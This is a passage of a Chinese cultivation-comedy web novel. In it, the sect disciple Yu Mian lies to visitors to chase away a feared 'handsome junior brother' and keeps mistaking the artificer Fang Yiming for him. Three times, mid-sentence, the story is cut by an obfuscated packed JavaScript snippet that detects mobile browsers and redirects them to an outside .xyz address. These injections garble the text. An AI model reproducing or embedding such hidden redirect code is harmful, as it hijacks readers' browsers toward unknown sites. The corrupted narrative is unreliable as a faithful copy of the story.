方溢鸣觉得这般模样的人应该不会有什么坏心思,于是他用那套“喻眠是在被监视所以才说一些胡话”的逻辑说服了自己,便了然地回道:“小妹是因为被监视着,故意表现得和我关系疏远,来拉开你我之间的距离是不是?没关系的,大哥知道有东西在看着我们,但是大哥不怕。你如果怕的话大哥带你回天器谷吧,天器谷罩着你。” 天空昏昏暗暗,雪飘摇不定。身着黄衣的方溢鸣说这句话时专注真诚,就好像自身在散发着光。 他的态度认真,喻眠听着也被他说的话勾走了心:“罩着我?这么好的吗?” 倒不是喻眠真的想叛逃白云间去天器谷。 只是有了天器谷罩着,她岂不是再也不用怕执法堂了,以后随时随地都能用灵气给自己头发吹风做造型。 那也太好了。 喻眠心思单纯,听到方溢鸣许诺的天器谷这样大的宗门的一个背书,她脑海里的第一反应只是可以用来让自己随心所欲吹头发。 方溢鸣看着乐呵呵的喻眠道:“对的。不过小妹你这种修无情道的在修仙界毕竟不是很受待见,来我们天器谷也只能做最累的活计了。朝九晚五,月休八天,年假也只有一个月。” “这叫累吗?明明轻松得不行!” 回想着这么多年在瀑布下练剑的日子,喻眠眉眼弯弯:“方大哥,天器谷一个月多少灵石?按外勤任务数量给还是每月固定月例发放?” 对不起了大师姐。 这下她是真的打算背叛师门了。 要怪就怪白云间太辛苦了吧,不要怪她没心又没肺。 “给你来天器谷学习的机会就不错了,你竟然还想要灵石?”方溢鸣吃惊。 闻言,喻眠瞪大了圆滚滚的眼睛,立刻翻脸不认人道: “不好意思啊,方道友。我一心白云间。生是白云间的牛,死是白云间的马。白云间爱我,我爱白云间。实在是舍不得离开我的好师门,去什么闻所未闻的天器谷。” “果然还是有监听鸟在吧……上一秒还在哭诉在白云间的不公,劝我也趁早离开,现在就一心白云间,甘愿做牛做马了。” 方溢鸣闻言更加坚定了原本的猜想,喻眠就是因为被监听鸟看着现在才说胡话的,让他留下来的话做不得真。 “方道友,你不先想想天器谷白干活不给钱很不合理吗?”喻眠拧眉盯着方溢鸣道。 “磨炼自己的事,你为什么要谈报酬呢?”方溢鸣真诚地看着喻眠。 “不谈报酬还能谈什么呢?” “当然是刻苦修炼后得道飞升的理想啊。” 这是修真界所有人都有的想法,自然而然的,不需要任何解释的,从第一位修士飞升开始,所有修真人士的终极目标都是飞升。 于是方溢鸣自然而然地说了出来。 “谈理想?我的理想就是每天啥也不干白领月例。” 可惜喻眠是一个例外,她不在意得道飞升,反而更在意自己悠哉悠哉的师门生活。 她平生最大的渴望从来不是飞升,所以在看到《一剑斩仙》后也没有想着顺应天道发展,把自己的师兄师姐一一献祭了,来换取自己修仙之路的发展。 “你这也太不思进取了!”方溢鸣不可理喻地看着喻眠,“而且你刚刚还说留在黑暗的白云间都是为了修炼自我得道飞升。” 天空雪花飘洒而下,将久久站立在这里的方溢鸣头顶覆上一片白,四处弥漫着清洌的味道。 喻眠无辜地看着他,岔开话题道:“话说大哥你其实也可以向我们白云间执法堂新来的李堂主请教,她为人正直,剑道也厉害。那一手剑法真是绝了,是我心中白云间的剑道第二人。” 提到学习剑道,方溢鸣很快被转移注意力,心思放在喻眠开启的新话题上。 他问道:“真的吗?我就是一个只会炼器的粗人,我连基础剑法都耍不明白,李堂主也愿意教我吗?” 喻眠一本正经地哄道:“是啊,她有教无类,人真的很好。而且我估计报酬同样也就是给我们三师姐炼砚台,对于方兄你来说肯定不是什么难事。” 其实喻眠根本没有见过那拿雪鸮监视自己吹造型的新堂主的剑法如何,她只是新想了一个让方溢鸣炼出砚台,且糊弄过大师姐那边的新主意。 喻眠的计划十分完美。 她打算先利用执法堂堂主把砚台哄骗出来,然后再骗大师姐说:“方溢鸣刚留下砚台就被师门找回去了,他有急事,只能下次再来请教剑法了。” 之后再叮嘱方溢鸣,让他回去后千万不要告诉第三个人她今天说过的话,最好也不要再来到白云间了。 不然凶神恶疾的白云间一定叫她小命不保,请可怜可怜她,帮帮她这位刚刚被认下的小妹。 如此操作下来,想必能让两个人互相毫不知情她今日从中做的梗,不影响原本定下来的顺利无比的交易。 她也好免得大师姐一顿毒打。 喻眠觉得她真是太聪明了。 “我不能答应你。” 方溢鸣却道。 喻眠吃惊:“敢问方兄这是为何啊?” “先前听道友说白云间三弟子喻眠横行霸道,压榨你们小弟子的份例。我若是为了自己在剑道上的爱好,而帮她炼了砚台,那岂不是助纣为虐吗?” 方溢鸣正气凛然地继续补充道:“更何况她现在就敢欺凌你们这些外门弟子,若是真的又新添了黄品法器助阵,白云间一定会更加乌烟瘴气,你们这些小弟子该如何是好。这样损人利己的事,我是万万不会做的。” 喻眠一惊。 现在外面这些不修无情道的,道德感都这么高的吗? 二师兄平时编排出来的戏本子里不是这样写的啊。 方溢鸣心意已决,他拍落肩头的雪,转身准备离开。 喻眠急忙喊道:“站住!” 方溢鸣脚步不停,一副心意已决的样子。 他觉得现在白云间有东西在监视着他们。 喻眠此时叫住他也仅仅是此时此刻有人看着她一言一行的逼不得已,这时候说的话也没有什么参考价值,都是为了应付上面人的胡言戏说。 这种情况转身离开并不是对她的不尊重,反而一种体谅,让她不用因为监而说着这些言不由衷的话。 方溢鸣的逻辑自成一派,不过却能自圆其说。 喻眠却不知道他脑海的这些七七八八。 见他死活不理自己,喻眠鼓起腮帮子,气得跺了一下脚。 可是方溢鸣还不回头,喻眠只好使出对她二师兄都百试百灵的杀招,一脸悲痛地胡言乱语道:“你怎么可以这样对我?你就这样转头就走?我这样勤勤恳恳地帮助你,在你最需要的时候过来,告诉你白云间的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818701|175441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万般不好,也只是想要和你说说话,融入你的世界,得到你的回应。但是你为什么不理睬我呢?哪怕我只是想要你的一个转身,你的一句回话,这都不可以吗?好吧,我早该看透了。大哥,你根本什么都不在乎,不在乎我这个小妹,也不在乎什么剑道,你只在乎你自己!” 方溢鸣:? 方溢鸣终于一脸绷不住地转过头:“你说的这是人话吗?” “不说人话,怎么吸引你的注意,然后转身回话呢,道友。”喻眠表情一脸超然。 明明还是一个年纪不大的小姑娘,头上还梳着双髻,眉心点着凡间幼儿才会点的花钿,表情却像一个过了大半辈子的白发老头。 喻眠超然地看着天边这场为外门试炼而下的鹅毛大雪,周围白茫茫的一片,粉色的夹竹桃花瓣上覆着一层银斑,看不出原来的颜色来。 她突然有了一个好得不能再好的新主意。 在确定方溢鸣短时间不会再转身就走后,喻眠清咳了几声,端正神色,严肃道:“不好意思,方溢鸣道友,你没有通过考验。” 方溢鸣有些发愣:“什么考验?” “组织上对你的考验。”喻眠严肃地说,黑色眼睛注视着方溢鸣褐色的瞳孔,“我是我们大师姐派来考验你的,很遗憾,方溢鸣道友,你没有通过考验。” 方溢鸣表情还是呆呆的:“你在说些什么?” 他是真的一点也没有跟上喻眠的思路。 “大师姐一直对于是否要传授你剑道一事十分纠结和犹豫。 大师姐答应和你交易,从来不是为了什么黄品法器,一个甚至不是天器谷长老的普通弟子都能炼出来的东西,这对于我们白云间的大师姐清渊道长来说根本算不上什么。 她只是被你向往剑道的真心所打动,又怕你不好意思接受平白无故的教学,所以才提出了帮白云间三弟子喻眠练砚台的交换。 不过她仍有顾虑,只能出此下策,派我来考验你。” “可是很遗憾。”喻眠一脸沉痛,“道友,你没有通过我们的考验。” “我的真心天地可鉴!”方溢鸣被喻眠的话带着走,顿时有些慌乱,他连忙举起手指对天发誓。 “意诚心正身修从古至今都是缺一不可。”喻眠老学究似的摇了摇头,“我要看方道友是否做到这些,来确认道友是否真正有学剑的资质。” 方溢鸣快速地回忆了一遍刚刚自己说过的话和做过的事,更加不解,问道:“在下难道在何处言行处事有不妥之处?” 喻眠点了点头。 “的确,为了求寻剑道,道友能够不顾路途遥远,也要来我白云间讨教学习,并对所有事物,都以可以让自己修炼有所成就的眼光看待,可谓意诚; 面对我御剑飞行的突然袭击,道友能及时防御保全自我而不伤及他人,可谓身修; 得知自己的一己私欲可能会影响到白云间众弟子的安稳,便能直接放弃自己热爱追求,情愿打道回府,可谓心正。 只是……” 喻眠故意顿了顿。 “只是什么?”方溢鸣急切问道。 喻眠威风凛凛地开口道:“你可知道我是谁?” 方溢鸣愣愣地看着眼前的人。 一袭淡蓝色的衣袍,身形纤细,肩头有点点白色的雪,容貌清俊,双眼炯炯有神,脖颈间一颗黑色的小痣,手中握着一把长剑,剑尖直插地面,威风凛凛。 他脑袋里一时之间没有一位白云间剑修可以与眼前人对上号。 方溢鸣迟疑了片刻,不太确定地说道:“一位渊清道长器重的内门弟子?” 喻眠潇洒一笑,又违规使用灵力为自己吹起一阵风,卷得她的头发向前飞扬。 她从袖口拿出一张符篆,夹在右手指尖,又松开手指,违规用灵力又卷起一阵风,符篆随风落到方溢鸣手上,张扬开口道:“在下喻眠,白云间的少门主,清风道长的师妹,白云道长的三弟子,一位符修。” 言毕,喻眠又是张扬一笑。 “只是方兄遇到事情不加实践,不加思索。 方兄从来没有检验过我所言是真还是假,不去看看白云间的大师姐与三师姐是否是如我所说一样的人物,而是被几滴眼泪轻易打动,被影响思想。 你要是这样听风就是雨,若是学了我大师姐的剑招,以后被有心之人利用,岂不是祸患?” 喻眠振振有词地说道。 “哦?那你倒是来和我讲讲一个基础剑诀第一式会带来什么祸患?”一道女声似笑非笑地说道。 喻眠震惊地转头。 一身飘飘然的蓝衣,一双细长弯弯的狐狸眼,背后一把轻剑。 大、大师姐? 此时此刻她不应该在外门试炼终点审核弟子吗? 她怎么会在这里?! 5. 第五章 喻眠咽了口口水:“师、师姐下午好。师姐你怎么会在这里?” 拜无衣轻轻扫了一眼喻眠,没有理她,转身向方溢鸣拱手作礼,声线清冽,说道:“师妹不懂事,胡闹了。” 方溢鸣回过礼,对答道:“的确是在下没有通过清渊道友你的考验,是我不配学习剑道,与喻道友无关。” 方溢鸣说完,拜无衣冷冰冰的眼神又向喻眠,喻眠被看得胆怯,心虚地低下头,心里暗暗请求方溢鸣别说了。 喻眠不知道她大师姐听了多少,很是心慌,但是若是为了平复这份心慌开口询问,却又是不打自招。 喻眠于是强装镇定,站在原地。 拜无衣看着喻眠可怜兮兮的样子有点头疼,这个师妹一直不给她省心,今天不知道又在折腾些什么,眼下还有外人在,顾及她作为白云间少门主的颜面,没法教训她。 拜无衣作为大师姐,率先担下回应这件事的责任,同时给喻眠留下面子,顺着方溢鸣的意思回话道: “承让了方兄,你学习剑道的真心已经深深打动了我,这就是最重要的东西。你还有一旦没有通过考验就能直接了当放下的心性,这就足够了。” 方溢鸣听完很是感动,深深看了拜无衣一眼,然后向喻眠和拜无衣行了一个大礼。 拜无衣微笑道:“方兄客气了。” 方溢鸣真诚地说:“这不是客气不客气的事儿,清渊,我实在是太感动了。 我原本也听进去了无情道修士都是没心没肺的传言,现在才发现是我狭隘了。 你们也是会考虑到无辜群众,会实事求是,会去检验求道者真心的好人。你们不是传言中唯利是图的人,你们是真正的君子。 等我回到宗门会告诉他们无情道修士真正的样子,不让无情道修士一直因为那桩弑师证道的事就这样一直被污名化下去。” 方溢鸣说得这样真诚,让喻眠听着有些不好意思。 还忍不住在心里偷偷谦虚地回复着他的话。 有这么好吗?太过誉啦。 其实这些都是她在那里为了拯救大师姐性命的胡言乱语,被认为是真君子纯属阴差阳错。 不过如果方溢鸣是这么想的话,那她今天也不算招惹了特别大的麻烦,反而还阴差阳错洗白了无情道修士的名声,可以说是好事一件。 那大师姐应该不会把她怒骂一顿了吧? 想到这里喻眠偷偷看向大师姐。 拜无衣不愧是拜无衣,听完方溢鸣这一番话完全面不改色,继续微笑颔首。 喻眠见状撇了撇嘴。 拜无衣余光看到她这幅神态,随即面对着喻眠,声音还是春风般的和煦,话语内内容却让喻眠那么的毛骨悚然: “哦?喻眠你这个发型倒是好看得紧,刚刚在执法堂就听说了,李师妹说你的发型很有特色,她很喜欢。你考虑去教教她怎么扎这个发型吗?” 执法堂,李师妹,发型。 哦吼,完蛋啦。 被李师妹告状了,在本就要被大师姐批评的局面上雪上加霜。 不就是在禁灵力场合偷偷用灵力给自己的头发吹个造型吗? 师妹你这是何苦啊? 就这点小事,就不能大事化小小事化了吗? 喻眠笑得有些讨好,朝着大师姐点头应答道:“好的师姐。我现在就去执法堂找李师妹,不影响师姐会客。” 拜无衣点点头,撑开伞,在小雪天慢悠悠地领着方溢鸣往外门试炼终点的地方走去。 天气比起刚刚又冷了,喻眠的鼻头发红,看着二人远去的身影,却不敢再用灵力取暖了,生怕又被执法堂的鸟抓到违规使用灵力。 不过话说会客约见在外门试炼的终点干嘛? 喻眠想了半天,没想明白,反而困得要睡着了。 干脆不想了,直接去外门试炼上二救师姐。 什么执法堂,她才不去呢。 现在可是外门招生的最后一个时辰呢!拯救师姐刻不容缓! 喻眠给自己找了一个不去领罚的借口。 看大师姐刚刚那副与往日无二的样子,想来是还没有遇到俏师弟,目前还没有一见钟情二见倾心,把自己沦落到情劫的生死存亡的境地当中去。 那她身为大师姐的贴心好师妹,也要赶紧抓紧时间,趁还有机会,去好好拯救她的大师姐,让那什么俏师弟自己乖乖离开白云间,别来招惹她的大师姐。 至于去执法堂领罚?那就下次再说吧。 喻眠从剑鞘中拔出剑,往脚下一扔,脚再踩上剑,御剑,向执法堂反方向飞去,一气呵成。 虽然她也不知道书中描写的俏师弟具体在哪里,但是兜兜转转一圈总能找到。 毕竟总不可能离开外门试炼划定的范围吧? 喻眠一边御剑,一边低头看去。 先是一处堆满积雪的广阔广场,再是几座稀稀落落的灌木丛,然后是丛林,最后是结冰的冰面。 喻眠停住剑,吸了吸被冻住的鼻子。 她没有看到什么人影啊。 难道是她眼花错过了? 喻眠来不及细想,只回过头重新御剑飞行着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818702|175441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喻眠有些急躁,胸前堵着一口气,大脑也没有原先那么清明。 在丛林里找人本就很难,又有冬日纷纷扬扬的雪,更是加重了喻眠找人的难度。 她烦躁地继续寻找着,御着剑低空飞行,视线努力穿透杂草和树林寻找目标人物。 好半天功夫,她终于看到一个被银杏树半遮住的明明灭灭的男人身影。 喻眠低头盯着他的脚看,是一双清晰的布鞋。 看来这就是真正的俏师弟了。 喻眠眼睛又溜溜一转,打算借鉴刚刚的做法坑蒙拐骗。 她直接踏下剑,径直冲了过去,一个滑跪抱着男子的大腿嚎了起来:“道友啊,我好惨啊,没天理啊!是白云间大师姐就可以对我们这些小弟子随意作威作福了吗?你可千万要当心啊,千万不要步入我们的后尘啊!” “嗯?”男子声音清朗。 见男人搭理自己,喻眠哭嚎地更加大声了,声音带着哽咽:“在我还是一名外门弟子的时候,大师姐说我剑道有天赋,以后入内门了找她学剑,结果、结果……” 喻眠本来还想说大师姐潜规则猥亵弟子那一套,但是她吸取刚刚的经验,这么说可能正中俏师弟下怀,俏师弟巴不得赶快被狠狠猥亵。 于是她重重啜泣了一声重新说道: “大师姐走火入魔,彻底入了邪道,需要有天资的弟子的灵根来提升修为,所以我现在浑身灵力尽失。我真的是好苦啊……” 说到这里喻眠像是再也忍不住了一般,放声大哭了起来。 男人听完后似乎有些不知所措,僵硬地拍了拍她的后背。 喻眠感受着背后僵硬的安抚,心里窃喜,又是一个和方溢鸣一样纯良的笨蛋,估计已经上当准备安慰她呢。 喻眠正准备一鼓作气,继续胡编乱造,好好得劝退此人,然后她就听到上方传来声音。 “喻道友,这个也是考验吗?” 闻言,喻眠猛地抬起头,只见眼前人长相清秀,文质彬彬,身上穿着锦帽貂裘金丝项链,手上拿着一个防护罩。 天杀的,这不还是方溢鸣吗?! 她的俏师弟呢??! 她那个找不到终点,自己一个人打转的笨蛋俏师弟呢?! 她说怎么现在清朗的声线这么常见,原来从头到尾就是一个人。 他方溢鸣是鬼修吗?不然怎么阴魂不散的。 可恶的方溢鸣,还她俏师弟。 喻眠凄惨一笑。 “好巧啊,方道友,你怎么在这里啊?大师姐不是带着你去外门试炼终点了吗?” 6. 第六章 方溢鸣虽然有困惑,但还是老老实实地回答道:“清渊道长本来是想领着我去外门试炼终点的,毕竟我们先前约好的安排就是在外门试炼终点地见面,然后看看白云间的外门弟子招新,再洽谈砚台相关的事宜。 不过我想了想,还是觉得自己都没有做到独立找到终点——通过这个所有抵达终点的外门弟子都通过了的考核。 又怎么好意思在终点的地方坐在清渊道长旁边,然后听着她点评这些能找到终点的弟子们呢? 这实在太让我太不好意思了,所以我问清渊道长她能不能自己先去终点等着我,我还想再自己走走试试。” 喻眠:“……” 就这么随意的吗? 方溢鸣说想要自己走走,大师姐就真的这么由着他自己一个人走走了? 不会想着传到外面去这是待客不周的行为吗?大师姐素来都是最重规矩的,怎么今日就这样放纵方溢鸣呢? 要不是明确了方溢鸣不是俏师弟,喻眠倒是怀疑大师姐是不是背着她偷偷看上方溢鸣了,不然为什么给了他一个别宗弟子随意闲逛白云间的权力。 而且大师姐就这么信任他?完全不怕他晃荡大半天找不到地方吗? 刚刚方溢鸣就没有找到终点,还过来询问她怎么走。总不可能第一次找不到第二次就能靠自己找到了。 喻眠看着方溢鸣,表情充满不信任和怀疑。 方溢鸣没有询问喻眠现在为何表情有些讶然,说完就这样安安静静地看着她,等着她接下来的话语。 今日和喻眠接触下来,他总觉得她有很多话想说。 喻眠却也没解释她刚刚为何再一次对着方溢鸣哭嚎大师级的千万不好,一时两人相顾无言。 两人身处丛林,周遭没有什么生机,只感觉灰蒙蒙的一片,对视久了喻眠甚至听到了雪落的声音。 喻眠觉得一直这样和方溢鸣互相“深情”对视也有些尴尬,但是解释清楚今日发生的一切更尴尬。 于是她偷偷往自己身上贴了一个简易版病歪歪符,打了个喷嚏,破了僵局。 “不好意思,师门不让随便用灵力取暖,刚刚又吹了好一阵冷风,可能得了风寒,我先走了,以免过了病气给方兄。” 说完她转身离开,心虚地没有看方溢鸣的表情,只装模作样瑟缩了两下,麻溜地御剑飞走,生怕一个不及时,他就要说出什么类似于“道友且留步”这样的话。 方溢鸣看着远去的喻眠有些茫然。 喻眠实在太独特了,说的每一句话做的每一件事都在他的意料之外。刚刚说着自己身体不适,御剑飞行时却又生龙活虎,飞得比谁都快。 这是怎么回事呢?难道这还是像他想的一样是什么考验吗? 那他通过了吗? 喻眠为何不给一个准信啊。 * 飞到堆积着积雪的广场上,喻眠转头再也看不到方溢鸣的身影了,便席地坐下,随手扯了一根狗尾草叼在嘴巴里,脑子里复盘着先前的事。 不应该啊不应该。 她喻眠上知天上有蚊子下知地上有李子,作为此等上知天蚊下知地李的人士,怎么会被这个小小方溢鸣戏弄两次? 莫非其实这个方溢鸣就是俏师弟,她把自己绕进去了? 喻眠越想越有道理,天器谷真能有人二十多岁就炼出黄品法器?说不定他其实是哪家分神期器修大能的分身,偷偷改头换面化身潜入白云间来欺骗她大师姐感情的。 谁说方溢鸣就不能是书中写的那个穷小子了?不是穷小子他干嘛穿布鞋? 想到布鞋喻眠又有些生气,恶狠狠地嚼了两下狗尾草,要不是方溢鸣这位大家少爷闲着没事穿什么布鞋,她能认错人吗? 喻眠就这样胡思乱想着。 突然有人用甜腻的嗓子对着她说道:“姐姐好呀。请问姐姐知道去终点的路怎么走嘛?知道的话可以告诉我嘛?谢谢姐姐~” 喻眠听完后起了一身鸡皮疙瘩,抬头望去,看清此人面孔后大脑却瞬间一阵空白,让她说不出一句话来。 怎么会有男性长成这个样子? 看到少年的面容只有一个字,娇。 太娇俏了。 一席粉衣,面若春樱。 这并非说少年长得有多漂亮多迷人,只是那浑身娇滴滴的气质展现在一个男性身上,并且还展现得这么浑然天成,这实在是太少见了,让人除了娇再也想不到别的话来。 此情此景,喻眠立马往他脚下看去,是一双陈旧的布鞋。 这回错不了了。 这一定是那位俏师弟。 “道友,哦,不对,朋友,你可千万不要参加什么外门试炼啊!”喻眠梅开三度,再次情真意切地忽悠道,“白云间这个宗门可以说十恶不做,奴役弟子,还不教真本事,你可千万要跑啊!” 少年闻言脸色陡得一变,收敛笑意,转身就走。 喻眠看着粉衣少年的背影脑袋有些懵。 是不是有些太顺利过头了? 少年就这么走了吗? 她这是劝导成功了吗? 他不远万里赶到白云间就因为她一句话放弃外门试炼了? 就这么容易被哄骗的吗? 喻眠还是有些怀疑,于是便对着娇俏的少年高呼补充道:“我们外门弟子真的很可怜,简直就是食物链的最底端,天天被内门弟子奴役使唤,跟个丫鬟是的。而且还不教什么真本事,丢本心法就让我们自己练了……” 怕少年走得太远听不见,喻眠就御剑飞行跟在他后面,一边跟着人家往不知道什么目的地的方向走,一边叽里咕噜继续劝导着,总之白云间这也不好,那也不好。 “别扯淡了。”少年被烦得有些受不了,说话语气也和第一次攀谈大为不同,“哼。你自己违反规则在外门试炼御剑飞行要被取消资格,还想鬼扯骗我主动放弃试炼来陪你垫背。真把全世界都当成傻子?” 喻眠听到这话有些懵逼,花了好一会儿功夫才反应过来少年以为她是他此次外门试炼的竞争对手,因为自己通不过试炼,所以才想着通过语言哄骗少年也放弃。 搞清楚了是怎么回事,喻眠咧嘴一笑,骄傲地指了指自己那因为修炼实力不够又要抵御严寒而穿上的保暖裘衣:“朋友,看看我这大袄子上的服装花纹,白云间的弟子纹样!需要来拉你垫背?看不起谁呢!” 少年本就是看喻眠气质像正儿八经认识路的弟子才撒着娇问她该怎么走,现在听到喻眠这番话,便细细盯着喻眠衣服上的花纹看了看。 虽说他也不知道白云间的弟子花纹长什么样,但衣服的做工看着精致,不是随便什么人都穿得上的。能穿上这衣服的估计还不只是什么随便的外门弟子,大概率是一个核心的内门弟子。 加上喻眠说话的神态十分自信,显得很有底气,于是粉衣少年确认了她白云间核心弟子的身份。 随即,他又突然笑了起来,不再是刚刚那幅不耐烦的状态了。 少年对着双髻少女垂下头,发丝飘逸,睫毛颤动,黑眸专注地盯着喻眠,娇滴滴地说道:“哎呀,我的好姐姐,我可没有看不起你,你看着就仪表堂堂的,一看就是了不起的大弟子呀。我只是觉得修炼苦是一件很正常的事,所以刚刚才没有理你啦。我是觉得不能指望刚进入宗门就开始享福,一进去就有心法练已经很好了。” 他原本攀谈喻眠就是看她在那里无所谓地坐着,不像要寻找终点的样子,反倒像是本来就是白云间的弟子,于是他便试探性地搭讪寻求帮助,现在确认了喻眠的确是白云间弟子,他又恢复了最开始热切的样子。 可是喻眠并不觉得他撒娇很可爱,只是生怕他作为情劫让大师姐落得一个挖肾掏心粉身碎骨的下场。 喻眠便对少年劝退道:“虽然你这么积极,但是我还是不建议你来白云间。来白云间你不仅要白干活,白出任务,还没有钱。” “出任务学习到了东西倒贴钱都是应该的,我不会这么贪得无厌,想着既要又要的。” “而且这些心法都是残缺的,并不完整,练起来没有什么效率可言。”喻眠不死心地说道。 “天将降大任于斯人也,必先苦其心志。这正是白云间的良苦用心啊。姐姐,我懂的。”粉衣少年深情款款地看向喻眠。 这还是人说的话吗? 不然怎么每个字都听得懂,组合在一起她就听不懂了呢? 见喻眠终于闭上了嘴,不再反反复复说些劝退白云间的语,少年也将话题拉向自己的方向:“姐姐,我是真心认为白云间已经很好了,可以不用倒贴钱出任务学习本事,还给我们师门心法学习,我真的很喜欢白云间,得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818703|175441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知对于妖族开放招生后便连忙赶过来。姐姐,你就可怜可怜我吧,告诉我外门试炼的终点在哪里,我们也好下次白云间再会啊。” 说完他对着喻眠眨了眨眼,雪白的双手拉过喻眠的左臂摇晃,身上香气也顺着他的动作钻入喻眠的鼻中。 少年说得的确很真诚,但是越真诚就越像剧情里描述的那个一心白云间的贫困俏师弟,越像贫困俏师弟越有可能将来进入师门后会害她大师姐陷入情劫万劫不复,越会害她大师姐万劫不复喻眠就越不想和他再会。 看着粉衣少年看着愈发期待的眼神,喻眠满脑子却全是坏心思。 她打算故技重施,既然你不吃说坏话这套,也别怪她施展大招。 喻眠迅速表现出正经而威严的姿态:“其实我是这场外门考试的道德监考官,专门来考查弟子的品质。我们宗门不要你这种毫无道德的弟子,你一直撒娇卖乖,试图通过美色来诱惑考官获取路线图?拜托,我们可是冰清玉洁的白云间诶,拒绝不正当手段!我宣布你考试失败,迅速滚出我们白云间!” 哈?道德监考官?还有这种职务? 少年直接慌了神,声音细弱带缠:“你在说假话戏弄我吧,这不是认真的吧?” 喻眠邪魅一笑,再次指了指自己身上象征身份的衣服花纹,对少年昂了昂下巴:“你看我像不像认真的?” 粉衣少年顿时浑身颤抖了起来,面上带着慌色。 说坏话白云间的弟子竟然是白云间的道德监考官? 还在这里对他钓鱼执法? 这世界上竟然还有这样的事? “喂,你这是什么表情?”喻眠不爽地耍大牌,“叫你立刻滚蛋听见没?” 粉衣少年身躯一晃,他咬着唇,委屈地看着喻眠。 他并不想离开。自从十年前听说了清渊道长拜无衣的事迹后,他就深深地崇敬上了这位道长,此生励志以“拜师白云间,师从拜无衣”为目标,怎么能因为喻眠说的这种美色误人的事被赶走呢? 他有些焦急。 想想,怎么办,怎么办才能继续参加试炼? 少年想到了来白云间参加外门试炼之前,他在妖族努力学习到的人族社会常识和社交方法,他顿时有了好主意。 他迅速开口道:“姐姐不要赶我走,我可以贿赂你!” 喻眠瞪大了双眼。 贿赂这两个字是可以搬到台面上说的吗? 而且为什么书中的穷小子能有钱贿赂白云间这种宗门的监考官? 这样的人物能是他这种穷小子贿赂得起的吗? 她不会又认错人了吧??! 喻眠想到刚刚这人对待拜师白云间如此真诚的态度,她要是把这样真诚的大好人赶走了,那她还是个人吗? 她喻眠不是人倒是小事,但是她这样为非作歹胡乱赶人,岂不是影响到了白云间在外的名声? 喻眠的表情这下真的不淡定了,尤其看到那斯还真的在那里翻行李准备掏贿赂。 她慌不择路地连忙开口,把所有真相如同车轱辘一般全部倾到了出来:“不用翻贿赂了道友。我开玩笑的,你怎么能当真呢。其实我不是什么检查官啦,我就是看你可爱逗你玩玩啦,其实我很欣赏你这种对待白云间这真诚的态度啦。而且我们宗门也不是我说的那回事,对外门弟子福利很好的,动不动发灵石灵器,心法也特别正宗,平时还有亲传弟子清渊道长的传授教学。你可千万要来啊!” 喻眠话音刚落,就见粉衣少年从包袱里翻出了一条大咸鱼。 没错,字面意思,一条大咸鱼。 喻眠沉默了许久,然后颤巍巍道: “请问,这是什么咸鱼外形的法器吗?” “不,这是可以吃的超级美味大咸鱼。” “请问,这是什么用咸鱼为主材料制作的神药吗?” “不,这是可以吃的超级美味大咸鱼。” “所以这就是普通的咸鱼?” “不,这是可以吃的超级美味大咸鱼。” 喻眠绝望地闭上了眼睛。 所以他的贿赂就是一条可以吃的超级美味大咸鱼? 这没见过世面的模样,就是书中描写的穷酸师弟没跑了。 而她,刚刚都说了些什么? 现在收回话语还来得及吗? 7. 第七章 “我就知道白云间会像我想象的一样美好。竟然不仅发灵器发心法,还有亲传弟子的亲自教学,就是不知道清渊道长来的话我该怎样表现一下呢?” 喻眠:“……” “清渊道长除了自身实力强大,还能把宗门运营的这么好,真是让人更加崇敬了呢,真想拜她为师呀。” 喻眠:“……” 可恶。 喻眠看着那名为可以吃的美味大咸鱼,十分咬牙切齿。 你这该死的咸鱼,都被你毁了。 要不是你一个破咸鱼非要当什么贿赂乱了我的阵脚,这货已经直接被我赶出白云间了! 她就不该说这些好话,如果他真的是一个什么不是剧情人物的真诚弟子,她刚刚直接收下咸鱼也可以说留下他了,反正他本来就是想要通过咸鱼贿赂她留下来。这下好了,一急就说错话了。 喻眠欲哭无泪,只能恶狠狠地盯着那条臭咸鱼。 臭咸鱼,你把我和大师姐害惨了知道吗? 你知道因为你我留下了一个多讨厌的“俏师弟”吗? 说的话让她心烦,说话的语气也让她心烦,未来要对大师姐做的事更让她心烦。 粉衣少年看到喻眠这么直勾勾地盯着咸鱼,不忍地开口道:“姐姐,你是很想要这条咸鱼吗?” 喻眠:? “好吧。给姐姐也不是不行。虽然你不是什么监考官,但是毕竟也是一个白云间的弟子。不过咸鱼给你了,你能帮我向清渊道长引荐一下吗?” 喻眠:? 这小子还得寸进尺了是吧?她大师姐是你小子能肖想的吗? 最让喻眠绷不住的就是这家伙还一直把这破咸鱼往她手上塞,一副强买强卖的样子,完全不管她拒绝的表情。 